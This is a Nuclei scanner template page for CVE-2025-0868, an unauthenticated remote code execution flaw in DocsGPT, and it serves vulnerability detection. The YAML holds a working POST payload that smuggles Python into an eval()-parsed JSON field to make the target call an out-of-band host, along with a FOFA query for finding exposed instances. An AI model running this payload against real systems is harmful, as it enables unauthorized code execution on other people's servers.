DocsGPT - Unauthenticated Remote Code Execution

ID: CVE-2025-0868

Severity: critical

Author: iamnoooob,rootxharsh,pdresearch

Tags: cve,cve2025,docsgpt,unauth,rce

Description

A vulnerability, that could result in Remote Code Execution (RCE), has been found in DocsGPT. Due to improper parsing of JSON data using eval() an unauthorized attacker could send arbitrary Python code to be executed via /api/remote endpoint.This issue affects DocsGPT- from 0.8.1 through 0.12.0.

YAML Source

id: CVE-2025-0868

info:
  name: DocsGPT - Unauthenticated Remote Code Execution
  author: iamnoooob,rootxharsh,pdresearch
  severity: critical
  description: |
    A vulnerability, that could result in Remote Code Execution (RCE), has been found in DocsGPT. Due to improper parsing of JSON data using eval() an unauthorized attacker could send arbitrary Python code to be executed via /api/remote endpoint.This issue affects DocsGPT- from 0.8.1 through 0.12.0.
  reference:
    - https://cert.pl/posts/2025/02/CVE-2025-0868/
    - https://cert.pl/en/posts/2025/02/CVE-2025-0868/
    - https://github.com/arc53/DocsGPT
  classification:
    epss-score: 0.00045
    epss-percentile: 0.17965
  metadata:
    verified: true
    max-request: 1
    fofa-query: body="Welcome to DocsGPT"
  tags: cve,cve2025,docsgpt,unauth,rce

http:
  - raw:
      - |
        POST /api/remote HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        user=1&source=reddit&name=other&data={"source":"reddit","client_id":"1111","client_secret":1111,"user_agent":"111","search_queries":[""],"number_posts":10,"rce\\\\":__import__('requests').get('http://{{interactsh-url}}/')}#":11}

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - dns

      - type: word
        part: body
        words:
          - '"task_id":'
          - '"status":'
        condition: and
# digest: 4a0a00473045022100e4b9033d7ceae721ebab8d404ca39eb9f06821ba212c9fe7630e6d2812c14d19022031170adf167f1572146c1439af874fc90e8cc1b6e39d3b669d9910229968c8ec:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2025/CVE-2025-0868.yaml"

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